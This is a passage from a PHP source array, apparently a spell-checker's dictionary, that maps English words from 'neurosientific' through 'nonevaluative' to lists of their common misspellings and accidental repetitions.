'neurosientific',\r\n\t\t\t\t],\r\n\t\t\t\t'neuroscientists'=>[\r\n\t\t\t\t\t'neurocientists',\r\n\t\t\t\t\t'neurocsientists',\r\n\t\t\t\t\t'neurosientists',\r\n\t\t\t\t],\r\n\t\t\t\t'neurotic'=>[\r\n\t\t\t\t\t'nuerotic',\r\n\t\t\t\t],\r\n\t\t\t\t'neurotransmitter'=>[\r\n\t\t\t\t\t'nuerotransmitter',\r\n\t\t\t\t],\r\n\t\t\t\t'neutral'=>[\r\n\t\t\t\t\t'nuetral',\r\n\t\t\t\t],\r\n\t\t\t\t'neutrality'=>[\r\n\t\t\t\t\t'nuetrality',\r\n\t\t\t\t],\r\n\t\t\t\t'neutralize'=>[\r\n\t\t\t\t\t'nuetralize',\r\n\t\t\t\t],\r\n\t\t\t\t'never'=>[\r\n\t\t\t\t\t'never never',\r\n\t\t\t\t\t'never never never',\r\n\t\t\t\t],\r\n\t\t\t\t'nevermore'=>[\r\n\t\t\t\t\t'nevermoure',\r\n\t\t\t\t],\r\n\t\t\t\t'nevertheless'=>[\r\n\t\t\t\t\t'nethertheless',\r\n\t\t\t\t\t'neveretheless',\r\n\t\t\t\t\t'nevertheles',\r\n\t\t\t\t],\r\n\t\t\t\t'new'=>[\r\n\t\t\t\t\t'new new',\r\n\t\t\t\t\t'new new new',\r\n\t\t\t\t\t'neww',\r\n\t\t\t\t\t'nwe',\r\n\t\t\t\t],\r\n\t\t\t\t'new york'=>[\r\n\t\t\t\t\t'new yrok',\r\n\t\t\t\t],\r\n\t\t\t\t'new yorker'=>[\r\n\t\t\t\t\t'newyorker',\r\n\t\t\t\t],\r\n\t\t\t\t'new zealander-occupied'=>[\r\n\t\t\t\t\t'new zealander occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'newbie'=>[\r\n\t\t\t\t\t'newbei',\r\n\t\t\t\t\t'newbi',\r\n\t\t\t\t],\r\n\t\t\t\t'newfoundland'=>[\r\n\t\t\t\t\t'foundland',\r\n\t\t\t\t],\r\n\t\t\t\t'newie'=>[\r\n\t\t\t\t\t'newei',\r\n\t\t\t\t\t'newi',\r\n\t\t\t\t],\r\n\t\t\t\t'newly'=>[\r\n\t\t\t\t\t'newally',\r\n\t\t\t\t\t'newaly',\r\n\t\t\t\t\t'newely',\r\n\t\t\t\t\t'newlly',\r\n\t\t\t\t],\r\n\t\t\t\t'newly-elected'=>[\r\n\t\t\t\t\t'newly elected',\r\n\t\t\t\t\t'newlyelected',\r\n\t\t\t\t],\r\n\t\t\t\t'newly-established'=>[\r\n\t\t\t\t\t'newly established',\r\n\t\t\t\t],\r\n\t\t\t\t'news'=>[\r\n\t\t\t\t\t'newws',\r\n\t\t\t\t],\r\n\t\t\t\t'newscast'=>[\r\n\t\t\t\t\t'newcast',\r\n\t\t\t\t\t'newcsast',\r\n\t\t\t\t\t'newsast',\r\n\t\t\t\t],\r\n\t\t\t\t'newsletter'=>[\r\n\t\t\t\t\t'newletter',\r\n\t\t\t\t],\r\n\t\t\t\t'newsmagazine'=>[\r\n\t\t\t\t\t'newsmagazini',\r\n\t\t\t\t],\r\n\t\t\t\t'newspaper'=>[\r\n\t\t\t\t\t'nejvspaper',\r\n\t\t\t\t],\r\n\t\t\t\t'newspapers'=>[\r\n\t\t\t\t\t'newspaners',\r\n\t\t\t\t],\r\n\t\t\t\t'newsreader'=>[\r\n\t\t\t\t\t'newsreder',\r\n\t\t\t\t],\r\n\t\t\t\t'newsstand'=>[\r\n\t\t\t\t\t'newstand',\r\n\t\t\t\t],\r\n\t\t\t\t'newsweekly'=>[\r\n\t\t\t\t\t'newsweekally',\r\n\t\t\t\t\t'newsweekaly',\r\n\t\t\t\t\t'newsweekely',\r\n\t\t\t\t\t'newsweeklly',\r\n\t\t\t\t],\r\n\t\t\t\t'newsworthiness'=>[\r\n\t\t\t\t\t'newsworthiniss',\r\n\t\t\t\t],\r\n\t\t\t\t'newsy'=>[\r\n\t\t\t\t\t'newcy',\r\n\t\t\t\t],\r\n\t\t\t\t'next'=>[\r\n\t\t\t\t\t'enxt',\r\n\t\t\t\t\t'next next',\r\n\t\t\t\t\t'next next next',\r\n\t\t\t\t],\r\n\t\t\t\t'niagara'=>[\r\n\t\t\t\t\t'niagra',\r\n\t\t\t\t],\r\n\t\t\t\t'niagara falls'=>[\r\n\t\t\t\t\t'niagra falls',\r\n\t\t\t\t],\r\n\t\t\t\t'nibble'=>[\r\n\t\t\t\t\t'nible',\r\n\t\t\t\t],\r\n\t\t\t\t'nicaraguan-occupied'=>[\r\n\t\t\t\t\t'nicaraguan occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'niccolite'=>[\r\n\t\t\t\t\t'nicolite',\r\n\t\t\t\t],\r\n\t\t\t\t'nicely'=>[\r\n\t\t\t\t\t'nicly',\r\n\t\t\t\t],\r\n\t\t\t\t'niche'=>[\r\n\t\t\t\t\t'nitch',\r\n\t\t\t\t],\r\n\t\t\t\t'nickelodeon'=>[\r\n\t\t\t\t\t'nikelodeon',\r\n\t\t\t\t],\r\n\t\t\t\t'nickname'=>[\r\n\t\t\t\t\t'nick name',\r\n\t\t\t\t\t'nicname',\r\n\t\t\t\t],\r\n\t\t\t\t'nicknamed'=>[\r\n\t\t\t\t\t'nick named',\r\n\t\t\t\t],\r\n\t\t\t\t'nicotinamide'=>[\r\n\t\t\t\t\t'nicotinimide',\r\n\t\t\t\t],\r\n\t\t\t\t'nicotinamides'=>[\r\n\t\t\t\t\t'nicotinimides',\r\n\t\t\t\t],\r\n\t\t\t\t'nicotine'=>[\r\n\t\t\t\t\t'nicotini',\r\n\t\t\t\t],\r\n\t\t\t\t'nicotinic'=>[\r\n\t\t\t\t\t'nicotinac',\r\n\t\t\t\t],\r\n\t\t\t\t'niece'=>[\r\n\t\t\t\t\t'neice',\r\n\t\t\t\t\t'nice',\r\n\t\t\t\t],\r\n\t\t\t\t'nieces'=>[\r\n\t\t\t\t\t'neices',\r\n\t\t\t\t],\r\n\t\t\t\t'niello'=>[\r\n\t\t\t\t\t'neillo',\r\n\t\t\t\t\t'nillo',\r\n\t\t\t\t],\r\n\t\t\t\t'nietzsche'=>[\r\n\t\t\t\t\t'nietzche',\r\n\t\t\t\t\t'nietzche', 'nietzshe',\r\n\t\t\t\t],\r\n\t\t\t\t'nifedipine'=>[\r\n\t\t\t\t\t'nifedipini',\r\n\t\t\t\t],\r\n\t\t\t\t'nigerian-occupied'=>[\r\n\t\t\t\t\t'nigerian occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'nigerien-occupied'=>[\r\n\t\t\t\t\t'nigerien occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'niggard'=>[\r\n\t\t\t\t\t'nigard',\r\n\t\t\t\t],\r\n\t\t\t\t'niggarding'=>[\r\n\t\t\t\t\t'nigarding',\r\n\t\t\t\t],\r\n\t\t\t\t'niggardliness'=>[\r\n\t\t\t\t\t'nigardliness',\r\n\t\t\t\t],\r\n\t\t\t\t'niggardlinesses'=>[\r\n\t\t\t\t\t'nigardlinesses',\r\n\t\t\t\t\t'niggardlinisses',\r\n\t\t\t\t],\r\n\t\t\t\t'niggardly'=>[\r\n\t\t\t\t\t'nigardly',\r\n\t\t\t\t\t'niggardally',\r\n\t\t\t\t\t'niggardaly',\r\n\t\t\t\t\t'niggardely',\r\n\t\t\t\t\t'niggardlly',\r\n\t\t\t\t],\r\n\t\t\t\t'niggle'=>[\r\n\t\t\t\t\t'nigle',\r\n\t\t\t\t],\r\n\t\t\t\t'niggled'=>[\r\n\t\t\t\t\t'nigled',\r\n\t\t\t\t],\r\n\t\t\t\t'niggler'=>[\r\n\t\t\t\t\t'nigler',\r\n\t\t\t\t],\r\n\t\t\t\t'niggles'=>[\r\n\t\t\t\t\t'nigles',\r\n\t\t\t\t],\r\n\t\t\t\t'niggling'=>[\r\n\t\t\t\t\t'nigling',\r\n\t\t\t\t],\r\n\t\t\t\t'nigglingly'=>[\r\n\t\t\t\t\t'niglingly',\r\n\t\t\t\t],\r\n\t\t\t\t'niggly'=>[\r\n\t\t\t\t\t'nigly',\r\n\t\t\t\t],\r\n\t\t\t\t'night'=>[\r\n\t\t\t\t\t'mght',\r\n\t\t\t\t\t'night night',\r\n\t\t\t\t\t'night night night',\r\n\t\t\t\t\t'nigth',\r\n\t\t\t\t],\r\n\t\t\t\t'nightclubbed'=>[\r\n\t\t\t\t\t'nightclubed',\r\n\t\t\t\t],\r\n\t\t\t\t'nightclubber'=>[\r\n\t\t\t\t\t'nightcluber',\r\n\t\t\t\t],\r\n\t\t\t\t'nightclubbers'=>[\r\n\t\t\t\t\t'nightclubers',\r\n\t\t\t\t],\r\n\t\t\t\t'nightclubbing'=>[\r\n\t\t\t\t\t'nightclubing',\r\n\t\t\t\t],\r\n\t\t\t\t'nightfall'=>[\r\n\t\t\t\t\t'nightfal',\r\n\t\t\t\t],\r\n\t\t\t\t'nightie'=>[\r\n\t\t\t\t\t'nightei',\r\n\t\t\t\t\t'nighti',\r\n\t\t\t\t],\r\n\t\t\t\t'nightjar'=>[\r\n\t\t\t\t\t'nightjer',\r\n\t\t\t\t],\r\n\t\t\t\t'nightly'=>[\r\n\t\t\t\t\t'nightally',\r\n\t\t\t\t\t'nightaly',\r\n\t\t\t\t\t'nightely',\r\n\t\t\t\t\t'nightlly',\r\n\t\t\t\t],\r\n\t\t\t\t'nightwear'=>[\r\n\t\t\t\t\t'nightweer',\r\n\t\t\t\t],\r\n\t\t\t\t'nill'=>[\r\n\t\t\t\t\t'nil',\r\n\t\t\t\t],\r\n\t\t\t\t'nimious'=>[\r\n\t\t\t\t\t'nimous',\r\n\t\t\t\t],\r\n\t\t\t\t'nine'=>[\r\n\t\t\t\t\t'nine nine',\r\n\t\t\t\t\t'nine nine nine',\r\n\t\t\t\t],\r\n\t\t\t\t'ninefold'=>[\r\n\t\t\t\t\t'ninifold',\r\n\t\t\t\t],\r\n\t\t\t\t'nines'=>[\r\n\t\t\t\t\t'ninis',\r\n\t\t\t\t],\r\n\t\t\t\t'nineteen'=>[\r\n\t\t\t\t\t'niniteen',\r\n\t\t\t\t\t'ninteen',\r\n\t\t\t\t],\r\n\t\t\t\t'nineteenth'=>[\r\n\t\t\t\t\t'nineteanth',\r\n\t\t\t\t\t'niniteenth',\r\n\t\t\t\t\t'ninteenth',\r\n\t\t\t\t],\r\n\t\t\t\t'nineties'=>[\r\n\t\t\t\t\t'ninetys',\r\n\t\t\t\t\t'ninties',\r\n\t\t\t\t],\r\n\t\t\t\t'ninetieth'=>[\r\n\t\t\t\t\t'nineteith',\r\n\t\t\t\t\t'ninetith',\r\n\t\t\t\t\t'ninitieth',\r\n\t\t\t\t],\r\n\t\t\t\t'ninety'=>[\r\n\t\t\t\t\t'ninity',\r\n\t\t\t\t\t'nintey',\r\n\t\t\t\t\t'ninty',\r\n\t\t\t\t],\r\n\t\t\t\t'ninny'=>[\r\n\t\t\t\t\t'niny',\r\n\t\t\t\t],\r\n\t\t\t\t'ninnyhammer'=>[\r\n\t\t\t\t\t'ninyhammer',\r\n\t\t\t\t],\r\n\t\t\t\t'ninnyhammers'=>[\r\n\t\t\t\t\t'ninyhammers',\r\n\t\t\t\t],\r\n\t\t\t\t'ninth'=>[\r\n\t\t\t\t\t'nineth',\r\n\t\t\t\t],\r\n\t\t\t\t'ninthly'=>[\r\n\t\t\t\t\t'ninethly',\r\n\t\t\t\t],\r\n\t\t\t\t'nipper'=>[\r\n\t\t\t\t\t'niper',\r\n\t\t\t\t],\r\n\t\t\t\t'nipping'=>[\r\n\t\t\t\t\t'niping',\r\n\t\t\t\t],\r\n\t\t\t\t'nipple'=>[\r\n\t\t\t\t\t'niple',\r\n\t\t\t\t],\r\n\t\t\t\t'nippy'=>[\r\n\t\t\t\t\t'nipy',\r\n\t\t\t\t],\r\n\t\t\t\t'nisei'=>[\r\n\t\t\t\t\t'nisie',\r\n\t\t\t\t],\r\n\t\t\t\t'nitery'=>[\r\n\t\t\t\t\t'nitary',\r\n\t\t\t\t],\r\n\t\t\t\t'nitpick'=>[\r\n\t\t\t\t\t'knit-pick',\r\n\t\t\t\t\t'knitpick',\r\n\t\t\t\t],\r\n\t\t\t\t'nitrocellulose'=>[\r\n\t\t\t\t\t'nitrocelulose',\r\n\t\t\t\t],\r\n\t\t\t\t'nitroglycerines'=>[\r\n\t\t\t\t\t'nitroglycerinis',\r\n\t\t\t\t],\r\n\t\t\t\t'nitroparaffin'=>[\r\n\t\t\t\t\t'nitroperaffin',\r\n\t\t\t\t],\r\n\t\t\t\t'nitroparaffins'=>[\r\n\t\t\t\t\t'nitroperaffins',\r\n\t\t\t\t],\r\n\t\t\t\t'nitrosamine'=>[\r\n\t\t\t\t\t'nitrosamini',\r\n\t\t\t\t],\r\n\t\t\t\t'nixie'=>[\r\n\t\t\t\t\t'nixei',\r\n\t\t\t\t\t'nixi',\r\n\t\t\t\t],\r\n\t\t\t\t'no'=>[\r\n\t\t\t\t\t'no no',\r\n\t\t\t\t\t'no no no',\r\n\t\t\t\t],\r\n\t\t\t\t'no one'=>[\r\n\t\t\t\t\t'noone',\r\n\t\t\t\t],\r\n\t\t\t\t'no running water'=>[\r\n\t\t\t\t\t'no running wood',\r\n\t\t\t\t],\r\n\t\t\t\t'nobble'=>[\r\n\t\t\t\t\t'noble',\r\n\t\t\t\t],\r\n\t\t\t\t'nobby'=>[\r\n\t\t\t\t\t'noby',\r\n\t\t\t\t],\r\n\t\t\t\t'nobiliary'=>[\r\n\t\t\t\t\t'nobiliery',\r\n\t\t\t\t],\r\n\t\t\t\t'nobly'=>[\r\n\t\t\t\t\t'nobally',\r\n\t\t\t\t\t'nobaly',\r\n\t\t\t\t\t'noblly',\r\n\t\t\t\t],\r\n\t\t\t\t'nobody'=>[\r\n\t\t\t\t\t'no body',\r\n\t\t\t\t\t'no-body',\r\n\t\t\t\t],\r\n\t\t\t\t'nocent'=>[\r\n\t\t\t\t\t'nocant',\r\n\t\t\t\t],\r\n\t\t\t\t'noctuoid'=>[\r\n\t\t\t\t\t'noctoid',\r\n\t\t\t\t],\r\n\t\t\t\t'nocuous'=>[\r\n\t\t\t\t\t'nocous',\r\n\t\t\t\t],\r\n\t\t\t\t'nocuously'=>[\r\n\t\t\t\t\t'nocously',\r\n\t\t\t\t],\r\n\t\t\t\t'nodular'=>[\r\n\t\t\t\t\t'noduler',\r\n\t\t\t\t],\r\n\t\t\t\t'nogg'=>[\r\n\t\t\t\t\t'nog',\r\n\t\t\t\t],\r\n\t\t\t\t'nogged'=>[\r\n\t\t\t\t\t'noged',\r\n\t\t\t\t],\r\n\t\t\t\t'noggin'=>[\r\n\t\t\t\t\t'nogin',\r\n\t\t\t\t],\r\n\t\t\t\t'nogging'=>[\r\n\t\t\t\t\t'noging',\r\n\t\t\t\t],\r\n\t\t\t\t'noggins'=>[\r\n\t\t\t\t\t'nogins',\r\n\t\t\t\t],\r\n\t\t\t\t'noggs'=>[\r\n\t\t\t\t\t'nogs',\r\n\t\t\t\t],\r\n\t\t\t\t'noily'=>[\r\n\t\t\t\t\t'noially',\r\n\t\t\t\t\t'noialy',\r\n\t\t\t\t\t'noilly',\r\n\t\t\t\t],\r\n\t\t\t\t'noise'=>[\r\n\t\t\t\t\t'noise noise',\r\n\t\t\t\t\t'noise noise noise',\r\n\t\t\t\t],\r\n\t\t\t\t'noiselessly'=>[\r\n\t\t\t\t\t'noiselessally',\r\n\t\t\t\t\t'noiselessaly',\r\n\t\t\t\t\t'noiselessely',\r\n\t\t\t\t\t'noiselesslly',\r\n\t\t\t\t],\r\n\t\t\t\t'noisomely'=>[\r\n\t\t\t\t\t'noisomly',\r\n\t\t\t\t],\r\n\t\t\t\t'noisy'=>[\r\n\t\t\t\t\t'noicy',\r\n\t\t\t\t],\r\n\t\t\t\t'nomenclature'=>[\r\n\t\t\t\t\t'nomencalture',\r\n\t\t\t\t],\r\n\t\t\t\t'nomina'=>[\r\n\t\t\t\t\t'nomini',\r\n\t\t\t\t],\r\n\t\t\t\t'nominal'=>[\r\n\t\t\t\t\t'nominil',\r\n\t\t\t\t],\r\n\t\t\t\t'nominalism'=>[\r\n\t\t\t\t\t'nominilism',\r\n\t\t\t\t],\r\n\t\t\t\t'nominate'=>[\r\n\t\t\t\t\t'nominite',\r\n\t\t\t\t],\r\n\t\t\t\t'nomination'=>[\r\n\t\t\t\t\t'nominition',\r\n\t\t\t\t],\r\n\t\t\t\t'nominative'=>[\r\n\t\t\t\t\t'nominitive',\r\n\t\t\t\t],\r\n\t\t\t\t'nominee'=>[\r\n\t\t\t\t\t'nominie',\r\n\t\t\t\t],\r\n\t\t\t\t'non-capitalist'=>[\r\n\t\t\t\t\t'noncapitalist',\r\n\t\t\t\t],\r\n\t\t\t\t'non-commissioned'=>[\r\n\t\t\t\t\t'noncommissioned',\r\n\t\t\t\t],\r\n\t\t\t\t'non-communist'=>[\r\n\t\t\t\t\t'noncommunist',\r\n\t\t\t\t],\r\n\t\t\t\t'non-hierarchical'=>[\r\n\t\t\t\t\t'nonheirarchical',\r\n\t\t\t\t\t'nonhierarchical',\r\n\t\t\t\t],\r\n\t\t\t\t'non-participation'=>[\r\n\t\t\t\t\t'nonparticipation',\r\n\t\t\t\t],\r\n\t\t\t\t'non-political'=>[\r\n\t\t\t\t\t'nonpolitical',\r\n\t\t\t\t],\r\n\t\t\t\t'non-western'=>[\r\n\t\t\t\t\t'nonwestern',\r\n\t\t\t\t],\r\n\t\t\t\t'non-worker'=>[\r\n\t\t\t\t\t'nonworker',\r\n\t\t\t\t],\r\n\t\t\t\t'non-workers'=>[\r\n\t\t\t\t\t'nonworkers',\r\n\t\t\t\t],\r\n\t\t\t\t'nonabsorbable'=>[\r\n\t\t\t\t\t'nonabsorbible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonacceptance'=>[\r\n\t\t\t\t\t'nonacceptence',\r\n\t\t\t\t\t'nonaceptance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonacceptances'=>[\r\n\t\t\t\t\t'nonaceptances',\r\n\t\t\t\t],\r\n\t\t\t\t'nonaccountable'=>[\r\n\t\t\t\t\t'nonaccountible',\r\n\t\t\t\t\t'nonacountable',\r\n\t\t\t\t],\r\n\t\t\t\t'nonaccredited'=>[\r\n\t\t\t\t\t'nonacredited',\r\n\t\t\t\t],\r\n\t\t\t\t'nonagenarian'=>[\r\n\t\t\t\t\t'nonagenaran',\r\n\t\t\t\t],\r\n\t\t\t\t'nonaggression'=>[\r\n\t\t\t\t\t'nonaggresion',\r\n\t\t\t\t\t'nonagression',\r\n\t\t\t\t],\r\n\t\t\t\t'nonaggressions'=>[\r\n\t\t\t\t\t'nonagressions',\r\n\t\t\t\t],\r\n\t\t\t\t'nonaggressive'=>[\r\n\t\t\t\t\t'nonagressive',\r\n\t\t\t\t],\r\n\t\t\t\t'nonalignment'=>[\r\n\t\t\t\t\t'nonaligment',\r\n\t\t\t\t\t'nonalignent',\r\n\t\t\t\t],\r\n\t\t\t\t'nonalignments'=>[\r\n\t\t\t\t\t'nonaligments',\r\n\t\t\t\t\t'nonalignents',\r\n\t\t\t\t],\r\n\t\t\t\t'nonambiguous'=>[\r\n\t\t\t\t\t'nonambigous',\r\n\t\t\t\t],\r\n\t\t\t\t'nonappearance'=>[\r\n\t\t\t\t\t'nonapearance',\r\n\t\t\t\t\t'nonappearence',\r\n\t\t\t\t\t'nonapperance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonappearances'=>[\r\n\t\t\t\t\t'nonapearances',\r\n\t\t\t\t],\r\n\t\t\t\t'nonarbitrary'=>[\r\n\t\t\t\t\t'nonarbitrery',\r\n\t\t\t\t],\r\n\t\t\t\t'nonattendance'=>[\r\n\t\t\t\t\t'nonattendence',\r\n\t\t\t\t],\r\n\t\t\t\t'nonbeliever'=>[\r\n\t\t\t\t\t'nonbeleiver',\r\n\t\t\t\t\t'nonbeliver',\r\n\t\t\t\t],\r\n\t\t\t\t'nonbelligerency'=>[\r\n\t\t\t\t\t'nonbelligerensy',\r\n\t\t\t\t],\r\n\t\t\t\t'nonbinary'=>[\r\n\t\t\t\t\t'nonbinery',\r\n\t\t\t\t],\r\n\t\t\t\t'nonbiologically'=>[\r\n\t\t\t\t\t'nonbiologicalally',\r\n\t\t\t\t\t'nonbiologicalaly',\r\n\t\t\t\t\t'nonbiologicalely',\r\n\t\t\t\t\t'nonbiologicallly',\r\n\t\t\t\t],\r\n\t\t\t\t'nonbusiness'=>[\r\n\t\t\t\t\t'nonbuisness',\r\n\t\t\t\t\t'nonbusines',\r\n\t\t\t\t\t'nonbusiniss',\r\n\t\t\t\t],\r\n\t\t\t\t'noncallable'=>[\r\n\t\t\t\t\t'noncalable',\r\n\t\t\t\t\t'noncallible',\r\n\t\t\t\t],\r\n\t\t\t\t'noncancelable'=>[\r\n\t\t\t\t\t'noncancelible',\r\n\t\t\t\t],\r\n\t\t\t\t'noncandidacy'=>[\r\n\t\t\t\t\t'noncandidasy',\r\n\t\t\t\t],\r\n\t\t\t\t'noncellular'=>[\r\n\t\t\t\t\t'noncelluler',\r\n\t\t\t\t],\r\n\t\t\t\t'nonchalance'=>[\r\n\t\t\t\t\t'nonchalence',\r\n\t\t\t\t],\r\n\t\t\t\t'nonchalant'=>[\r\n\t\t\t\t\t'nonchalent',\r\n\t\t\t\t],\r\n\t\t\t\t'nonchauvinist'=>[\r\n\t\t\t\t\t'nonchauvinast',\r\n\t\t\t\t],\r\n\t\t\t\t'noncircular'=>[\r\n\t\t\t\t\t'noncirculer',\r\n\t\t\t\t],\r\n\t\t\t\t'nonclogging'=>[\r\n\t\t\t\t\t'noncloging',\r\n\t\t\t\t],\r\n\t\t\t\t'noncoincidence'=>[\r\n\t\t\t\t\t'noncoincidance',\r\n\t\t\t\t],\r\n\t\t\t\t'noncollinear'=>[\r\n\t\t\t\t\t'noncollineer',\r\n\t\t\t\t],\r\n\t\t\t\t'noncombatant'=>[\r\n\t\t\t\t\t'noncombatent',\r\n\t\t\t\t],\r\n\t\t\t\t'noncombustible'=>[\r\n\t\t\t\t\t'noncombustable',\r\n\t\t\t\t],\r\n\t\t\t\t'noncommitments'=>[\r\n\t\t\t\t\t'noncomnitments',\r\n\t\t\t\t],\r\n\t\t\t\t'noncommittal'=>[\r\n\t\t\t\t\t'noncomnittal',\r\n\t\t\t\t],\r\n\t\t\t\t'noncommittally'=>[\r\n\t\t\t\t\t'noncommittalally',\r\n\t\t\t\t\t'noncommittalaly',\r\n\t\t\t\t\t'noncommittalely',\r\n\t\t\t\t\t'noncommittallly',\r\n\t\t\t\t\t'noncomnittally',\r\n\t\t\t\t],\r\n\t\t\t\t'noncommutative'=>[\r\n\t\t\t\t\t'noncomnutative',\r\n\t\t\t\t],\r\n\t\t\t\t'noncomparable'=>[\r\n\t\t\t\t\t'noncomparible',\r\n\t\t\t\t\t'noncomperable',\r\n\t\t\t\t],\r\n\t\t\t\t'noncompatible'=>[\r\n\t\t\t\t\t'noncompatable',\r\n\t\t\t\t],\r\n\t\t\t\t'noncompliance'=>[\r\n\t\t\t\t\t'noncomplience',\r\n\t\t\t\t],\r\n\t\t\t\t'noncompressible'=>[\r\n\t\t\t\t\t'noncompressable',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconceptual'=>[\r\n\t\t\t\t\t'nonconceptaul',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconclusion'=>[\r\n\t\t\t\t\t'nonconcluison',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconclusions'=>[\r\n\t\t\t\t\t'nonconcluisons',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconcurred'=>[\r\n\t\t\t\t\t'nonconcured',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconcurrence'=>[\r\n\t\t\t\t\t'nonconcurence',\r\n\t\t\t\t\t'nonconcurrance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconcurrences'=>[\r\n\t\t\t\t\t'nonconcurences',\r\n\t\t\t\t],\r\n\t\t\t\t'noncondensable'=>[\r\n\t\t\t\t\t'noncondensible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconference'=>[\r\n\t\t\t\t\t'nonconferance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconfidence'=>[\r\n\t\t\t\t\t'nonconfidance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconfidential'=>[\r\n\t\t\t\t\t'nonconfidantial',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconformance'=>[\r\n\t\t\t\t\t'nonconformence',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconnection'=>[\r\n\t\t\t\t\t'nonconection',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconnections'=>[\r\n\t\t\t\t\t'nonconections',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconscious'=>[\r\n\t\t\t\t\t'nonconscous',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconsensual'=>[\r\n\t\t\t\t\t'nonconsensaul',\r\n\t\t\t\t],\r\n\t\t\t\t'noncontagious'=>[\r\n\t\t\t\t\t'noncontagous',\r\n\t\t\t\t],\r\n\t\t\t\t'noncontemporary'=>[\r\n\t\t\t\t\t'noncontemporery',\r\n\t\t\t\t],\r\n\t\t\t\t'noncontiguous'=>[\r\n\t\t\t\t\t'noncontigous',\r\n\t\t\t\t],\r\n\t\t\t\t'noncontinuous'=>[\r\n\t\t\t\t\t'noncontinous',\r\n\t\t\t\t],\r\n\t\t\t\t'noncontractual'=>[\r\n\t\t\t\t\t'noncontractaul',\r\n\t\t\t\t],\r\n\t\t\t\t'noncontrollable'=>[\r\n\t\t\t\t\t'noncontrollible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonconvertible'=>[\r\n\t\t\t\t\t'nonconvertable',\r\n\t\t\t\t],\r\n\t\t\t\t'noncoplanar'=>[\r\n\t\t\t\t\t'noncoplaner',\r\n\t\t\t\t],\r\n\t\t\t\t'noncorrelation'=>[\r\n\t\t\t\t\t'noncorelation',\r\n\t\t\t\t],\r\n\t\t\t\t'noncorrelations'=>[\r\n\t\t\t\t\t'noncorelations',\r\n\t\t\t\t],\r\n\t\t\t\t'noncorrodible'=>[\r\n\t\t\t\t\t'noncorrodable',\r\n\t\t\t\t],\r\n\t\t\t\t'noncorroding'=>[\r\n\t\t\t\t\t'noncoroding',\r\n\t\t\t\t],\r\n\t\t\t\t'noncorrosive'=>[\r\n\t\t\t\t\t'noncorosive',\r\n\t\t\t\t],\r\n\t\t\t\t'noncreativities'=>[\r\n\t\t\t\t\t'noncretivities',\r\n\t\t\t\t],\r\n\t\t\t\t'noncredentialed'=>[\r\n\t\t\t\t\t'noncredantialed',\r\n\t\t\t\t],\r\n\t\t\t\t'nonculinary'=>[\r\n\t\t\t\t\t'nonculinery',\r\n\t\t\t\t],\r\n\t\t\t\t'nondance'=>[\r\n\t\t\t\t\t'nondence',\r\n\t\t\t\t],\r\n\t\t\t\t'nondeductible'=>[\r\n\t\t\t\t\t'nondeductable',\r\n\t\t\t\t],\r\n\t\t\t\t'nondefense'=>[\r\n\t\t\t\t\t'nondefence',\r\n\t\t\t\t],\r\n\t\t\t\t'nondeferrable'=>[\r\n\t\t\t\t\t'nondeferrible',\r\n\t\t\t\t],\r\n\t\t\t\t'nondegradable'=>[\r\n\t\t\t\t\t'nondegradible',\r\n\t\t\t\t],\r\n\t\t\t\t'nondepartmental'=>[\r\n\t\t\t\t\t'nondepertmental',\r\n\t\t\t\t],\r\n\t\t\t\t'nondependent'=>[\r\n\t\t\t\t\t'nondependant',\r\n\t\t\t\t],\r\n\t\t\t\t'nondependents'=>[\r\n\t\t\t\t\t'nondependants',\r\n\t\t\t\t],\r\n\t\t\t\t'nondepletable'=>[\r\n\t\t\t\t\t'nondepletible',\r\n\t\t\t\t],\r\n\t\t\t\t'nondescript'=>[\r\n\t\t\t\t\t'nondecript',\r\n\t\t\t\t\t'nondecsript',\r\n\t\t\t\t\t'nondesript',\r\n\t\t\t\t],\r\n\t\t\t\t'nondetachable'=>[\r\n\t\t\t\t\t'nondetachible',\r\n\t\t\t\t],\r\n\t\t\t\t'nondiapausing'=>[\r\n\t\t\t\t\t'nondiapauisng',\r\n\t\t\t\t],\r\n\t\t\t\t'nondiffusible'=>[\r\n\t\t\t\t\t'nondiffuisble',\r\n\t\t\t\t\t'nondiffusable',\r\n\t\t\t\t],\r\n\t\t\t\t'nondoctrinaire'=>[\r\n\t\t\t\t\t'nondoctriniire',\r\n\t\t\t\t],\r\n\t\t\t\t'nondocumentary'=>[\r\n\t\t\t\t\t'nondocumentery',\r\n\t\t\t\t],\r\n\t\t\t\t'nondollar'=>[\r\n\t\t\t\t\t'nondoller',\r\n\t\t\t\t],\r\n\t\t\t\t'nondurable'=>[\r\n\t\t\t\t\t'nondurible',\r\n\t\t\t\t],\r\n\t\t\t\t'none'=>[\r\n\t\t\t\t\t'noen',\r\n\t\t\t\t],\r\n\t\t\t\t'nonedible'=>[\r\n\t\t\t\t\t'nonedable',\r\n\t\t\t\t],\r\n\t\t\t\t'nonelementary'=>[\r\n\t\t\t\t\t'nonelementery',\r\n\t\t\t\t],\r\n\t\t\t\t'nonemergency'=>[\r\n\t\t\t\t\t'nonemergensy',\r\n\t\t\t\t],\r\n\t\t\t\t'nonequivalence'=>[\r\n\t\t\t\t\t'nonequivalance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonessential'=>[\r\n\t\t\t\t\t'nonesential',\r\n\t\t\t\t\t'nonessantial',\r\n\t\t\t\t],\r\n\t\t\t\t'nonetheless'=>[\r\n\t\t\t\t\t'nonetheles',\r\n\t\t\t\t],\r\n\t\t\t\t'nonevaluative'=>[\r\n\t\t\t\t\t'nonevalautive',\r\n\t\t\t\t